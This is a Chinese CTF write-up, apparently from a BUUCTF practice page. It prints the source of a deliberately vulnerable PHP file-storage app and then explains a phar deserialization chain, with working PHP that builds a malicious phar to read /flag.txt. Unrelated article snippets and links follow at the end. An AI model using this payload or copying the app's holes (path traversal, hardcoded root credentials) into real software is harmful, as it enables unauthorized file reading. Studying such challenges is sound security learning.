0x01源码
download.php
session_start ( ) ;
if ( ! isset ( $_SESSION [ 'login' ] ) ) {
header ( "Location: login.php" ) ;
die ( ) ;
}
if ( ! isset ( $_POST [ 'filename' ] ) ) {
die ( ) ;
}
include "class.php" ;
ini_set ( "open_basedir" , getcwd ( ) . ":/etc:/tmp" ) ;
chdir ( $_SESSION [ 'sandbox' ] ) ;
$file = new File ( ) ;
$filename = ( string) $_POST [ 'filename' ] ;
if ( strlen ( $filename ) < 40 && $file - > open ( $filename ) && stristr ( $filename , "flag" ) === false ) {
Header ( "Content-type: application/octet-stream" ) ;
Header ( "Content-Disposition: attachment; filename=" . basename ( $filename ) ) ;
echo $file - > close ( ) ;
} else {
echo "File not exist" ;
}
?>
upload.php
session_start ( ) ;
if ( ! isset ( $_SESSION [ 'login' ] ) ) {
header ( "Location: login.php" ) ;
die ( ) ;
}
include "class.php" ;
if ( isset ( $_FILES [ "file" ] ) ) {
$filename = $_FILES [ "file" ] [ "name" ] ;
$pos = strrpos ( $filename , "." ) ;
if ( $pos !== false ) {
$filename = substr ( $filename , 0 , $pos ) ;
}
$fileext = ".gif" ;
switch ( $_FILES [ "file" ] [ "type" ] ) {
case 'image/gif' :
$fileext = ".gif" ;
break ;
case 'image/jpeg' :
$fileext = ".jpg" ;
break ;
case 'image/png' :
$fileext = ".png" ;
break ;
default :
$response = array ( "success" = > false , "error" = > "Only gif/jpg/png allowed" ) ;
Header ( "Content-type: application/json" ) ;
echo json_encode ( $response ) ;
die ( ) ;
}
if ( strlen ( $filename ) < 40 && strlen ( $filename ) !== 0 ) {
$dst = $_SESSION [ 'sandbox' ] . $filename . $fileext ;
move_uploaded_file ( $_FILES [ "file" ] [ "tmp_name" ] , $dst ) ;
$response = array ( "success" = > true , "error" = > "" ) ;
Header ( "Content-type: application/json" ) ;
echo json_encode ( $response ) ;
} else {
$response = array ( "success" = > false , "error" = > "Invaild filename" ) ;
Header ( "Content-type: application/json" ) ;
echo json_encode ( $response ) ;
}
}
?>
class.php
error_reporting ( 0 ) ;
$dbaddr = "127.0.0.1" ;
$dbuser = "root" ;
$dbpass = "root" ;
$dbname = "dropbox" ;
$db = new mysqli ( $dbaddr , $dbuser , $dbpass , $dbname ) ;
class User {
public $db ;
public function __construct ( ) {
global $db ;
$this - > db = $db ;
}
public function user_exist ( $username ) {
$stmt = $this - > db - > prepare ( "SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ) ;
$stmt - > bind_param ( "s" , $username ) ;
$stmt - > execute ( ) ;
$stmt - > store_result ( ) ;
$count = $stmt - > num_rows ;
if ( $count === 0 ) {
return false ;
}
return true ;
}
public function add_user ( $username , $password ) {
if ( $this - > user_exist ( $username ) ) {
return false ;
}
$password = sha1 ( $password . "SiAchGHmFx" ) ;
$stmt = $this - > db - > prepare ( "INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ) ;
$stmt - > bind_param ( "ss" , $username , $password ) ;
$stmt - > execute ( ) ;
return true ;
}
public function verify_user ( $username , $password ) {
if ( ! $this - > user_exist ( $username ) ) {
return false ;
}
$password = sha1 ( $password . "SiAchGHmFx" ) ;
$stmt = $this - > db - > prepare ( "SELECT `password` FROM `users` WHERE `username` = ?;" ) ;
$stmt - > bind_param ( "s" , $username ) ;
$stmt - > execute ( ) ;
$stmt - > bind_result ( $expect ) ;
$stmt - > fetch ( ) ;
if ( isset ( $expect ) && $expect === $password ) {
return true ;
}
return false ;
}
public function __destruct ( ) {
$this - > db - > close ( ) ;
}
}
class FileList {
private $files ;
private $results ;
private $funcs ;
public function __construct ( $path ) {
$this - > files = array ( ) ;
$this - > results = array ( ) ;
$this - > funcs = array ( ) ;
$filenames = scandir ( $path ) ;
$key = array_search ( "." , $filenames ) ;
unset ( $filenames [ $key ] ) ;
$key = array_search ( ".." , $filenames ) ;
unset ( $filenames [ $key ] ) ;
foreach ( $filenames as $filename ) {
$file = new File ( ) ;
$file - > open ( $path . $filename ) ;
array_push ( $this - > files , $file ) ;
$this - > results [ $file - > name ( ) ] = array ( ) ;
}
}
public function __call ( $func , $args ) {
array_push ( $this - > funcs , $func ) ;
foreach ( $this - > files as $file ) {
$this - > results [ $file - > name ( ) ] [ $func ] = $file - > $func ( ) ;
}
}
public function __destruct ( ) {
$table = '';
$table . = '';
foreach ( $this - > funcs as $func ) {
$table . = ' ' . htmlentities ( $func ) . ' ';
}
$table . = ' Opt ';
$table . = ' ';
foreach ( $this - > results as $filename = > $result ) {
$table . = '';
foreach ( $result as $func = > $value ) {
$table . = ' ' . htmlentities ( $value ) . ' ';
}
$table . = ' . htmlentities ( $filename ) . '">下载 / 删除 ';
$table . = ' ' ;
}
echo $table ;
}
}
class File {
public $filename ;
public function open ( $filename ) {
$this - > filename = $filename ;
if ( file_exists ( $filename ) && ! is_dir ( $filename ) ) {
return true ;
} else {
return false ;
}
}
public function name ( ) {
return basename ( $this - > filename ) ;
}
public function size ( ) {
$size = filesize ( $this - > filename ) ;
$units = array ( ' B' , ' KB' , ' MB' , ' GB' , ' TB' ) ;
for ( $i = 0 ; $size >= 1024 && $i < 4 ; $i ++ ) $size / = 1024 ;
return round ( $size , 2 ) . $units [ $i ] ;
}
public function detele ( ) {
unlink ( $this - > filename ) ;
}
public function close ( ) {
return file_get_contents ( $this - > filename ) ;
}
}
?>
delete.php
session_start ( ) ;
if ( ! isset ( $_SESSION [ 'login' ] ) ) {
header ( "Location: login.php" ) ;
die ( ) ;
}
if ( ! isset ( $_POST [ 'filename' ] ) ) {
die ( ) ;
}
include "class.php" ;
chdir ( $_SESSION [ 'sandbox' ] ) ;
$file = new File ( ) ;
$filename = ( string) $_POST [ 'filename' ] ;
if ( strlen ( $filename ) < 40 && $file - > open ( $filename ) ) {
$file - > detele ( ) ;
Header ( "Content-type: application/json" ) ;
$response = array ( "success" = > true , "error" = > "" ) ;
echo json_encode ( $response ) ;
} else {
Header ( "Content-type: application/json" ) ;
$response = array ( "success" = > false , "error" = > "File not exist" ) ;
echo json_encode ( $response ) ;
}
?>
index.php
session_start ( ) ;
if ( ! isset ( $_SESSION [ 'login' ] ) ) {
header ( "Location: login.php" ) ;
die ( ) ;
}
?>
< ! DOCTYPE html>
< html>
< meta charset= "utf-8" >
< meta name= "viewport" content= "width=device-width, initial-scale=1, shrink-to-fit=no" >
< title> 网盘管理< / title>
< head>
< link href= "static/css/bootstrap.min.css" rel= "stylesheet" >
< link href= "static/css/panel.css" rel= "stylesheet" >
< script src= "static/js/jquery.min.js" > < / script>
< script src= "static/js/bootstrap.bundle.min.js" > < / script>
< script src= "static/js/toast.js" > < / script>
< script src= "static/js/panel.js" > < / script>
< / head>
< body>
< nav aria- label= "breadcrumb" >
< ol class = "breadcrumb" >
< li class = "breadcrumb-item active" > 管理面板< / li>
< li class = "breadcrumb-item active" > < label for = "fileInput" class = "fileLabel" > 上传文件< / label> < / li>
< li class = "active ml-auto" > < a href= "#" > 你好 echo $_SESSION [ 'username' ] ?> < / a> < / li>
< / ol>
< / nav>
< input type= "file" id= "fileInput" class = "hidden" >
< div class = "top" id= "toast-container" > < / div>
include "class.php" ;
$a = new FileList ( $_SESSION [ 'sandbox' ] ) ;
$a - > Name ( ) ;
$a - > Size ( ) ;
?>
题目分析
首先是我们注册和登录一个账号,然后主要的功能是,上传图片,下载和删除图片~~ 下载图片的时候,可以穿越目录下载源码~~
我们大致看一下源码,看哪儿可以读取源码~~ 在class.php中的函数close()可以读取文件~~ 其中download.php
会调用$file->close()
但是限制了filename不能包含flag,所以我们不能直接读取flag~~
我们的思路如下~
上传一个phar文件,后缀为图片的格式
然后在delete.php
中访问它,以phar://test.jpg
的形式,此时会调用file->open()中的file_exists()
会触发反序列化,(此时file_exists()返回的是false
)
此时只有user的__descruct
会调用close()
函数,但是没有回显功能,我们只能找一个有回显的地方进行序列化~
我们观察到FileList类的__descruct有echo函数,输出$table
,而$table
的内容来自$result
,我们再来看一下__call
函数~~
public function __call ( $func , $args ) {
array_push ( $this - > funcs , $func ) ;
foreach ( $this - > files as $file ) {
$this - > results [ $file - > name ( ) ] [ $func ] = $file - > $func ( ) ;
}
}
__call函数是指当调用类不存在的方法时就会调用__call函数·~ 其中$func就是指我们调用的不存在方法,而$args是指我们的参数~~, 通过代码我们知道假如我们调用close()方法,那么最后会调用
$file - > $func ( )
即$file->close()
,并且存入$result
中,那么file_get_contents
的内容就能回显出来了~~
最后的payload为:
class User {
public $db ;
}
class FileList {
private $files ;
private $results ;
private $funcs ;
public function __construct ( ) {
$file = new File ( ) ;
$file - > filename = '/flag.txt' ;
$this - > files = array ( $file ) ;
$this - > results = array ( ) ;
$this - > funcs = array ( ) ;
}
}
class File {
public $filename ;
}
@unlink ( "phar.phar" ) ;
$phar = new Phar ( "phar.phar" ) ;
$phar - > startBuffering ( ) ;
$phar - > setStub ( "" ) ;
$o = new User ( ) ;
$o - > db = new FileList ( ) ;
$phar - > setMetadata ( $o ) ;
$phar - > addFromString ( "exp.txt" , "glzjin" ) ;
$phar - > stopBuffering ( ) ;
?>
最后再说一下,为什么我们要通过delete.php触发phar反序列化,而不是通过download.php,两者都会调用file_exists()
,那是因为download.php有base_dir
限制,我们不能读出在/
目录下的文件~~
你可能感兴趣的:(BUUCTF刷题记录)
BUUCTF在线评测-练习场-WebCTF习题[GYCTF2020]Blacklist1-flag获取、解析
解题思路打开靶场,跟之前有一题很像,应该是一个出题人,增强了靶场提示黑名单对于我来说太薄弱了,不是吗?上次题我记得用的是堆叠注入+预编译或者更改表名..这次估计把这两都过滤了没关系,我们还是常规思路起手,先判断闭合,输入1'1'error1064:YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMariaDBserv
BUUCTF在线评测-练习场-WebCTF习题[网鼎杯 2020 青龙组]AreUSerialz1-flag获取、解析
码农12138号
BUUCTF 网络安全 web安全 CTF 反序列化漏洞
解题思路打开靶场,贴有源码process();}publicfunctionprocess(){if($this->op=="1"){$this->write();}elseif($this->op=="2"){$res=$this->read();$this->output($res);}else{$this->output("BadHacker!");}}privatefunctionwrit
牛客刷题记录之语法入门选择结构篇
Leona不学计算机
蓝桥杯 c语言 c++
(一)N-送分题题目描述数据结构之神ccz又在出毒瘤数据结构了,神出了这样一个题:给你三个数,在这三个数中间任意加*或者是+,然后可以随便打括号,只要这个表达式合法比如说123可以得到:1+2*3=71*(2+3)=51*2*3=6(1+2)*3=9不能改变这三个数的原顺序最大化表达式的值输入描述:输入三行,每行一个数分别表示a,b,c输出描述:输出一行一个数表示答案输入示例:123输出示例:9输
【LeetCode刷题记录】简单篇-70-爬楼梯
呜呼哈嘿嚯
LeetCode刷题记录 leetcode 算法 c++ c语言
【题目描述】假设你正在爬楼梯。需要n阶你才能到达楼顶。每次你可以爬1或2个台阶。你有多少种不同的方法可以爬到楼顶呢?【测试用例】示例1:输入:n=2输出:2解释:有两种方法可以爬到楼顶。1.1阶+1阶2.2阶示例2:输入:n=3输出:3解释:有三种方法可以爬到楼顶1.1阶+1阶+1阶2.1阶+2阶3.2阶+1阶【思路分析】这道题也算是一道很经典的题,读大学的时候学过,但不记得是在什么课上学过。用了
【算法刷题记录(简单题)002】字符串字符匹配(java代码实现)
挺菜的
java 算法 开发语言
一、题目描述对于给定的字符串s和t,检查s中的所有字符是否都在t中出现。(一)输入描述第一行输入一个长度为1≤len(s)≤200、仅由小写字母组成的字符串s。第二行输入一个长度为1≤len(t)≤200、仅由小写字母组成的字符串t。(二)输出描述如果s中的所有字符都在t中出现,则输出true,否则输出false。(三)示例输入:bcabc输出:true二、题目解答(一)解题思路1.使用HashM
洛谷分支结构题单刷题记录 java
阿乌阿呜
JAVA刷题记录 java 算法
目录P2433【深基1-2】小学数学N合一P5709【深基2.习6】ApplesPrologue/苹果和虫子P5710【深基3.例2】数的性质P5711【深基3.例3】闰年判断P5712【深基3.例4】ApplesP5713【深基3.例5】洛谷团队系统P5714【深基3.例7】肥胖问题P5715【深基3.例8】三位数排序P5716【深基3.例9】月份天数P1085[NOIP2004普及组]不高兴的
LintCode算法刷题记录(入门 + 简单部分)
隔壁敲代码的小王
算法刷题笔记 算法 LintCode
由于是初学者,实现的方法都很简单,暂时不考虑效率,之后(可能)会更新1.A+B问题给出两个整数aa和bb,求他们的和。样例如果a=1并且b=2,返回3。挑战显然你可以直接returna+b,但是你是否可以挑战一下不这样做?(不使用++等算数运算符)说明a和b都是32位整数么?是的我可以使用位运算符么?当然可以注意事项你不需要从输入流读入数据,只需要根据aplusb的两个参数a和b,计算他们的和并返
【算法刷题记录001】整型数组合并(java代码实现)
一、题目描述对于给定的由n个整数组成的数组{a1,a2,…,an}和m个整数组成的数组{b1,b2,…,bm},将它们合并后从小到大排序,并输出去重后的结果。二、输入描述第一行输入一个整数n(1≤n≤150)代表数组a中元素个数。第二行输入n个整数a1,a2,…,an(-1≤ai≤105)代表数组a中的元素。第三行输入一个整数m(1≤m≤150)代表数组b中元素个数。第四行输入m个整数b1,b2,
LeetCode高频100题刷题记录之——二叉树的中序遍历
巍巍微澜
Leetcode刷题记录 leetcode 算法 python 二叉树
1问题描述给定一个二叉树,按照左,中,右的顺序遍历这棵树。2代码实现思路很简单,从左到右遍历这颗二叉树即可。2.1递归代码实现#Definitionforabinarytreenode.#classTreeNode:#def__init__(self,val=0,left=None,right=None):#self.val=val#self.left=left#self.right=right#
buuctf-misc-二维码1
mlws1900
ctf buuctfmisc servlet jar java
显而易见的二维码题目,解压得到一个二维码解码获取内容secretishere我以为到这就结束了,flag{}加上就ok,结果发现失败用winhex打开看一下发现里面存在一个4numbers.txt用软件分离出来发现要密码,写着4numbers,应该就是纯数字密码爆破利用工具进行压缩包密码爆破密码为7639解压获得flagCTF{vjpw_wnoei}提交时候要改成flag{vjpw_wnoei}
buuctf新生赛(ACTF2020)
HfLllo
linux 运维 服务器
1.Upload:文件上传,phtml2.BackupFile:codesearch找备份文件,弱类型比较==(只要求值相等)3.Exec:网站;ls(linux列出当前目录有哪些文件和目录)网站;ls/(看根目录里有什么内容)查看文件:web;cat/file4.Include:php://filter/read=convert.base64-encode/resource=file.php,再
力扣 Hot 100 刷题记录 - LRU 缓存
a李兆洋
leetcode 缓存 算法
力扣Hot100刷题记录-LRU缓存题目描述LRU缓存是力扣Hot100中的一道经典题目,题目要求如下:请你设计并实现一个满足LRU(最近最少使用)缓存约束的数据结构。实现LRUCache类:LRUCache(intcapacity):以正整数作为容量capacity初始化LRU缓存。intget(intkey):如果关键字key存在于缓存中,则返回关键字的值,否则返回-1。voidput(int
BUUCTF[极客大挑战 2019]Knife
我要当web糕手
php web
1.题目分析1.启动靶机,查看网页中间一句话木马,帮助我们获得webshell,以POST形式接受变量SycPHP一句话木马通常是一个非常短小的PHP代码片段,通过一行代码实现对受攻击系统的控制。这种木马通常以加密或编码的形式出现,以避免被检测到。一句话木马的特点是使用简洁的语法和功能强大的命令执行功能,可以通过与恶意控制端进行通信,执行各种操作,例如上传/下载文件、执行系统命令、创建用户、修改文
Leetcode百题斩-链表
Owen_Q
递归 链表 数组 leetcode 链表 算法
这个专题算是经典中的经典了,从之前的刷题记录就可以看出,一共14题,其中5题之前都刷过。还是本着时间有限的原则,刷过的题看一下之前的记录就自己思考了,专注冲新题首先,和二叉树一样,先构造一个链表节点的数据结构。/*AuthorOwen_Q*/publicclassListNode{intval;ListNodenext;ListNode(){}ListNode(intval){this.val=v
【递归、搜索与回溯】FloodFill算法(一)
愚润泽
# 递归 搜索与回溯算法 C++刷题专栏 算法 c++ leetcode
前言说明:本专栏主要记录本人递归,搜索与回溯算法的学习以及LeetCode刷题记录,按专题划分每题主要记录:(1)本人解法+本人屎山代码;(2)优质解法+优质代码;(3)精益求精,更好的解法和独特的思想(如果有的话)文章中的理解仅为个人理解。如有错误,感谢纠错个人简介:努力学习ing本专栏:C++刷题专栏其他专栏:C语言入门基础,python入门基础,C++学习笔记,LinuxCSDN主页愚润泽你
Bugku CTF梳理
AquilaEAG
大佬的刷题记录:https://blog.csdn.net/mcmuyanga1.CTF常见题型CTF比赛通常包含的题目类型有七种,包括MISC、PPC、CRYPTO、PWN、REVERSE、WEB、STEGA。MISC(Miscellaneous)类型,即安全杂项,题目或涉及流量分析、电子取证、人肉搜索、数据分析等等。PPC(ProfessionallyProgramCoder)类型,即编程类题
leetcode刷题记录:归并排序和快速排序
小新0077
2024算法工程师求职 leetcode 算法 职场和发展
1.快速排序https://labuladong.github.io/algo/di-yi-zhan-da78c/shou-ba-sh-66994/kuai-su-pa-39aa2/1.1快排基础先看核心代码defsort(nums,lo,hi):if(lo>=hi):returnp=partition(nums,lo,hi)sort(nums,lo,p-1)sort(nums,p+1,hi)一句
力扣 Hot 100 刷题记录 - 合并两个有序链表
title:力扣Hot100刷题记录-合并两个有序链表date:2025-03-05categories:[算法,力扣]tags:[链表,双指针,递归]力扣Hot100刷题记录-合并两个有序链表在力扣(LeetCode)的刷题过程中,我遇到了一道经典的链表问题——合并两个有序链表(LeetCode21.合并两个有序链表)。这道题考察了对链表操作的理解以及双指针技巧的运用。今天,我将分享我的解题思路
【Leetcode刷题记录】53. 最大子数组和--前缀和解法
钓一朵雪
算法算题笔记 leetcode 算法
53.最大子数组和给你一个整数数组nums,请你找出一个具有最大和的连续子数组(子数组最少包含一个元素),返回其最大和。子数组是数组中的一个连续部分。示例1:输入:nums=[-2,1,-3,4,-1,2,1,-5,4]输出:6解释:连续子数组[4,-1,2,1]的和最大,为6。常规解法是动态规划,这里采用前缀和的解法。首先,理解前缀和的概念:给定一个数组nums,其前缀和数组prefixSums
力扣C语言刷题记录(三)搜索插入位置
ghujlhdrx
leetcode c语言 算法
给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。请必须使用时间复杂度为O(logn)的算法。示例1:输入:nums=[1,3,5,6],target=5输出:2示例2:输入:nums=[1,3,5,6],target=2输出:1示例3:输入:nums=[1,3,5,6],target=7输出:4提示:1nums[mid]){l
Python爬虫实战教程:爬取牛客网刷题记录
Python爬虫项目
2025年爬虫实战项目 python 爬虫 开发语言 pandas 游戏
1.项目背景与需求分析1.1为什么爬取牛客网刷题记录?牛客网(nowcoder.com)作为国内领先的在线编程学习和面试准备平台,聚合了大量的算法题和用户刷题记录。爬取用户刷题数据:能帮助我们统计刷题情况,分析刷题效率可辅助复盘历史刷题轨迹,指导学习策略有助于个人或团队构建刷题数据分析系统1.2具体需求自动登录牛客网账户(必须模拟登录)爬取指定用户的刷题记录(题目名称、提交时间、结果等)处理动态加
Python爬虫实战:爬取力扣(LeetCode)每日一题详解与代码实现
Python爬虫项目
2025年爬虫实战项目 python 爬虫 开发语言 pandas 游戏 算法 leetcode
1.项目介绍:为何爬取力扣每日一题1.1力扣每日一题的价值力扣(LeetCode)作为全球知名的编程刷题平台,每日发布一道“每日一题”,涵盖算法和数据结构各类经典题目。这些题目:帮助开发者持续锻炼编码能力涵盖面广,适合多种技术层次的开发者适合企业面试准备定时爬取每日一题,可以帮助:建立自己的题库与刷题记录自动推送每日题目提醒结合分析工具辅助学习1.2项目需求自动获取力扣每日一题题目信息(题目标题、
python力扣刷题记录_209长度最小的子数组
激进小猪1002
leetcode 算法 数据结构
#思路:#1.初始化窗口和s和左端点left。#2.枚举右端点right,更新窗口和s。#3.如果窗口和s大于等于target,更新答案ans。#4.返回答案ans。#滑动窗口#注意:数组元素都是正数frommathimportinfclassSolution:defminSubArrayLen(self,target:int,nums:list[int])->int:n=len(nums)ans
ccf-csp认证考试刷题记录(python语言)
是一棵枣树
ccf-csp python
python语言写的ccf_csp往年题目,水平有限,短期内只更新第一第二问。2024年6月题目:2024-6-12024-6-22024年3月题目:2024-3-12024-3-22023年12月题目:2023-12-12023-12-22023年9月题目:2023-9-12023年5月题目:2023-5-12023-5-22023年3月题目:2023-3-1
图论刷题记录
带上瑶瑶敲代码
图论
1.找到小镇的法官997.找到小镇的法官小镇里有n个人,按从1到n的顺序编号。传言称,这些人中有一个暗地里是小镇法官。如果小镇法官真的存在,那么:小镇法官不会信任任何人。每个人(除了小镇法官)都信任这位小镇法官。只有一个人同时满足属性1和属性2。给你一个数组trust,其中trust[i]=[ai,bi]表示编号为ai的人信任编号为bi的人。如果小镇法官存在并且可以确定他的身份,请返回该法官的编号
10.22刷题记录
xinchz
刷题记录 线段树
今天参加了浴谷八连测的R4说好的信心赛也只有T1拿了100分T2想到了正解但是因为不会用链表没打出来T3又没好好想不过可以明显看得出来是信心赛了2333T1逃避以为我这个不能输出连续两个空格不是正解呢结果竟然满分还是有点惊讶。貌似比WYX老师设计的正解还要好写一些的想法。#include#includeusingnamespacestd;intmain(){charc;boolflag=true;
刷题记录:牛客NC21125践踏
yingjiayu12
c++算法 算法 c++ 线段树
传送门:牛客题目描述:首先给定一个定值k,支持如下操作(在数轴上)1.加入一条线段[l,r]2.删除一条已经存在的线段3.给定x,问有多少个区间包含x+kt,其中t是一个整数变量,即t∈Z比如说当x=2,k=3的时候,区间[7,10]是应该算入答案的,因为x+2k=8,且7≤8≤10如果n=0,那么你只需要输出一行"fafa"然后结束程序即可(注意不输出双引号)输入:107133931415131
Codeforces刷题记录
〜( ̄△ ̄〜) yy
算法
目录CodeforcesRound953(Div.2)CodeforcesRound955(Div.2)EducationalCodeforcesRound167(RatedforDiv.2)CodeforcesRound948(Div.2)CodeforcesRound941(Div.2)CodeforcesRound940(Div.2)andCodeCraft-23CodeforcesRoun
线段树刷题记录
弥彦_
c++ 算法 c++ 数据结构
一、区间查询无修改:(一)最值问题:1.P1816忠诚-洛谷思路:模板。注意:无。代码:#include#defineiosccios::sync_with_stdio(false),cin.tie(0),cout.tie(0)#defineendl'\n'#defineme(a,x)memset(a,x,sizeofa)#defineall(a)a.begin(),a.end()#defines
Leetcode Hot 100刷题记录 -Day14(矩阵置0)
刘心奶黄包~
刷题记录 leetcode 矩阵 算法 java
矩阵置0问题描述:给定一个mxn的矩阵,如果一个元素为0,则将其所在行和列的所有元素都设为0。示例1:输入:matrix=[[1,1,1],[1,0,1],[1,1,1]]输出:[[1,0,1],[0,0,0],[1,0,1]]示例2:输入:matrix=[[0,1,2,0],[3,4,5,2],[1,3,1,5]]输出:[[0,0,0,0],[0,4,5,0],[0,3,1,0]]思路分析:先第
Java序列化进阶篇
g21121
java序列化
1.transient
类一旦实现了Serializable 接口即被声明为可序列化,然而某些情况下并不是所有的属性都需要序列化,想要人为的去阻止这些属性被序列化,就需要用到transient 关键字。
escape()、encodeURI()、encodeURIComponent()区别详解
aigo
JavaScript Web
原文:http://blog.sina.com.cn/s/blog_4586764e0101khi0.html
JavaScript中有三个可以对字符串编码的函数,分别是: escape,encodeURI,encodeURIComponent,相应3个解码函数:,decodeURI,decodeURIComponent 。
下面简单介绍一下它们的区别
1 escape()函
ArcgisEngine实现对地图的放大、缩小和平移
Cb123456
添加矢量数据 对地图的放大、缩小和平移 Engine
ArcgisEngine实现对地图的放大、缩小和平移:
个人觉得是平移,不过网上的都是漫游,通俗的说就是把一个地图对象从一边拉到另一边而已。就看人说话吧.
具体实现:
一、引入命名空间
using ESRI.ArcGIS.Geometry;
using ESRI.ArcGIS.Controls;
二、代码实现.
Java集合框架概述
天子之骄
Java集合框架概述
集合框架
集合框架可以理解为一个容器,该容器主要指映射(map)、集合(set)、数组(array)和列表(list)等抽象数据结构。
从本质上来说,Java集合框架的主要组成是用来操作对象的接口。不同接口描述不同的数据类型。
简单介绍:
Collection接口是最基本的接口,它定义了List和Set,List又定义了LinkLi
旗正4.0页面跳转传值问题
何必如此
java jsp
跳转和成功提示
a) 成功字段非空forward
成功字段非空forward,不会弹出成功字段,为jsp转发,页面能超链接传值,传输变量时需要拼接。接拼接方式list.jsp?test="+strweightUnit+"或list.jsp?test="+weightUnit+&qu
全网唯一:移动互联网服务器端开发课程
cocos2d-x小菜
web开发 移动开发 移动端开发 移动互联 程序员
移动互联网时代来了! App市场爆发式增长为Web开发程序员带来新一轮机遇,近两年新增创业者,几乎全部选择了移动互联网项目!传统互联网企业中超过98%的门户网站已经或者正在从单一的网站入口转向PC、手机、Pad、智能电视等多端全平台兼容体系。据统计,AppStore中超过85%的App项目都选择了PHP作为后端程
Log4J通用配置|注意问题 笔记
7454103
DAO apache tomcat log4j Web
关于日志的等级 那些去 百度就知道了!
这几天 要搭个新框架 配置了 日志 记下来 !做个备忘!
#这里定义能显示到的最低级别,若定义到INFO级别,则看不到DEBUG级别的信息了~!
log4j.rootLogger=INFO,allLog
# DAO层 log记录到dao.log 控制台 和 总日志文件
log4j.logger.DAO=INFO,dao,C
SQLServer TCP/IP 连接失败问题 ---SQL Server Configuration Manager
darkranger
sql c windows SQL Server XP
当你安装完之后,连接数据库的时候可能会发现你的TCP/IP 没有启动..
发现需要启动客户端协议 : TCP/IP
需要打开 SQL Server Configuration Manager...
却发现无法打开 SQL Server Configuration Manager..??
解决方法: C:\WINDOWS\system32目录搜索framedyn.
[置顶] 做有中国特色的程序员
aijuans
程序员
从出版业说起 网络作品排到靠前的,都不会太难看,一般人不爱看某部作品也是因为不喜欢这个类型,而此人也不会全不喜欢这些网络作品。究其原因,是因为网络作品都是让人先白看的,看的好了才出了头。而纸质作品就不一定了,排行榜靠前的,有好作品,也有垃圾。 许多大牛都是写了博客,后来出了书。这些书也都不次,可能有人让为不好,是因为技术书不像小说,小说在读故事,技术书是在学知识或温习知识,有些技术书读得可
document.domain 跨域问题
avords
document
document.domain用来得到当前网页的域名。比如在地址栏里输入:javascript:alert(document.domain); //www.315ta.com我们也可以给document.domain属性赋值,不过是有限制的,你只能赋成当前的域名或者基础域名。比如:javascript:alert(document.domain = "315ta.com");
关于管理软件的一些思考
houxinyou
管理
工作好多看年了,一直在做管理软件,不知道是我最开始做的时候产生了一些惯性的思维,还是现在接触的管理软件水平有所下降.换过好多年公司,越来越感觉现在的管理软件做的越来越乱.
在我看来,管理软件不论是以前的结构化编程,还是现在的面向对象编程,不管是CS模式,还是BS模式.模块的划分是很重要的.当然,模块的划分有很多种方式.我只是以我自己的划分方式来说一下.
做为管理软件,就像现在讲究MVC这
NoSQL数据库之Redis数据库管理(String类型和hash类型)
bijian1013
redis 数据库 NoSQL
一.Redis的数据类型
1.String类型及操作
String是最简单的类型,一个key对应一个value,string类型是二进制安全的。Redis的string可以包含任何数据,比如jpg图片或者序列化的对象。
Set方法:设置key对应的值为string类型的value
Tomcat 一些技巧
征客丶
java tomcat dos
以下操作都是在windows 环境下
一、Tomcat 启动时配置 JAVA_HOME
在 tomcat 安装目录,bin 文件夹下的 catalina.bat 或 setclasspath.bat 中添加
set JAVA_HOME=JAVA 安装目录
set JRE_HOME=JAVA 安装目录/jre
即可;
二、查看Tomcat 版本
在 tomcat 安装目
【Spark七十二】Spark的日志配置
bit1129
spark
在测试Spark Streaming时,大量的日志显示到控制台,影响了Spark Streaming程序代码的输出结果的查看(代码中通过println将输出打印到控制台上),可以通过修改Spark的日志配置的方式,不让Spark Streaming把它的日志显示在console
在Spark的conf目录下,把log4j.properties.template修改为log4j.p
Haskell版冒泡排序
bookjovi
冒泡排序 haskell
面试的时候问的比较多的算法题要么是binary search,要么是冒泡排序,真的不想用写C写冒泡排序了,贴上个Haskell版的,思维简单,代码简单,下次谁要是再要我用C写冒泡排序,直接上个haskell版的,让他自己去理解吧。
sort [] = []
sort [x] = [x]
sort (x:x1:xs)
| x>x1 = x1:so
java 路径 配置文件读取
bro_feng
java
这几天做一个项目,关于路径做如下笔记,有需要供参考。
取工程内的文件,一般都要用相对路径,这个自然不用多说。
在src统计目录建配置文件目录res,在res中放入配置文件。
读取文件使用方式:
1. MyTest.class.getResourceAsStream("/res/xx.properties")
2. properties.load(MyTest.
读《研磨设计模式》-代码笔记-简单工厂模式
bylijinnan
java 设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
package design.pattern;
/*
* 个人理解:简单工厂模式就是IOC;
* 客户端要用到某一对象,本来是由客户创建的,现在改成由工厂创建,客户直接取就好了
*/
interface IProduct {
SVN与JIRA的关联
chenyu19891124
SVN
SVN与JIRA的关联一直都没能装成功,今天凝聚心思花了一天时间整合好了。下面是自己整理的步骤:
一、搭建好SVN环境,尤其是要把SVN的服务注册成系统服务
二、装好JIRA,自己用是jira-4.3.4破解版
三、下载SVN与JIRA的插件并解压,然后拷贝插件包下lib包里的三个jar,放到Atlassian\JIRA 4.3.4\atlassian-jira\WEB-INF\lib下,再
JWFDv0.96 最新设计思路
comsci
数据结构 算法 工作 企业应用 公告
随着工作流技术的发展,工作流产品的应用范围也不断的在扩展,开始进入了像金融行业(我已经看到国有四大商业银行的工作流产品招标公告了),实时生产控制和其它比较重要的工程领域,而
vi 保存复制内容格式粘贴
daizj
vi 粘贴 复制 保存原格式 不变形
vi是linux中非常好用的文本编辑工具,功能强大无比,但对于复制带有缩进格式的内容时,粘贴的时候内容错位很严重,不会按照复制时的格式排版,vi能不能在粘贴时,按复制进的格式进行粘贴呢? 答案是肯定的,vi有一个很强大的命令可以实现此功能 。
在命令模式输入:set paste,则进入paste模式,这样再进行粘贴时
shell脚本运行时报错误:/bin/bash^M: bad interpreter 的解决办法
dongwei_6688
shell脚本
出现原因:windows上写的脚本,直接拷贝到linux系统上运行由于格式不兼容导致
解决办法:
1. 比如文件名为myshell.sh,vim myshell.sh
2. 执行vim中的命令 : set ff?查看文件格式,如果显示fileformat=dos,证明文件格式有问题
3. 执行vim中的命令 :set fileformat=unix 将文件格式改过来就可以了,然后:w
高一上学期难记忆单词
dcj3sjt126com
word english
honest 诚实的;正直的
argue 争论
classical 古典的
hammer 锤子
share 分享;共有
sorrow 悲哀;悲痛
adventure 冒险
error 错误;差错
closet 壁橱;储藏室
